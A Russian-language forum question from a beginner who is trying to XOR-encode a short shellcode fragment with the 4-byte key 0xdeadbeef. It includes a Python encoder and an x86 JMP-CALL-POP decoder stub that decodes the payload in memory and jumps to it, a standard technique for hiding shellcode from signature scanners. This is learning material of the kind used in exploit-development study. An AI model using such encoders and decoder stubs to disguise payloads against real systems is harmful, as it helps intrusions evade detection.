Я новичок в сборке (пожалуйста, поправьте меня, если я не прав), я пытаюсь выполнить XOR-массив байтов с помощью ключа XOR 4 байтов, я мог бы сделать XOR с одним байтом, но я понятия не имею, как это сделать, если он в сборке многобайтовый. Я мог бы сделать это с python, но со сборкой я застрял. Кто-нибудь может помочь?
#!/usr/bin/env python
import sys
shellcode = ("\x31\xc0\x99\x52\x68\x2f\x63\x61")
res = ""
key = '\xde\xad\xbe\xef'.encode('hex')
def xor_strings(s1, s2):
return ''.join(format(int(a, 16) ^ int(b, 16), 'x') for a,b in zip(s1,s2))
step = 4
for i in range(0, len(shellcode)-1, 4):
byte = shellcode[i:step].encode('hex') + '90'*((8-len(shellcode[i:step].encode('hex') ))/2)
xor_str = xor_strings(byte, key)
res += "%s," % ','.join([ '0x' + xor_str[ii:ii+2] for ii in range(0, len(xor_str), 2)])
step += 4
print res
Я отредактировал ASM-код, чтобы читать слова, но все равно не повезло
global _start:
section .text
_start:
jmp short call_shellcode
decoder:
pop esi
xor edx, edx
xor ecx, ecx
mov cl, slen
mov edx, 0xefbeadde ; deadbeef
decode:
xor dword [esi], edx
add esi, 4
sub ecx, 4
jnz decode
jmp short EncodedShellcode
call_shellcode:
call decoder
EncodedShellcode: db 0xef,0x6d,0x27,0xbd,0xb6,0x82,0xdd,0x8e
slen equ $-EncodedShellcode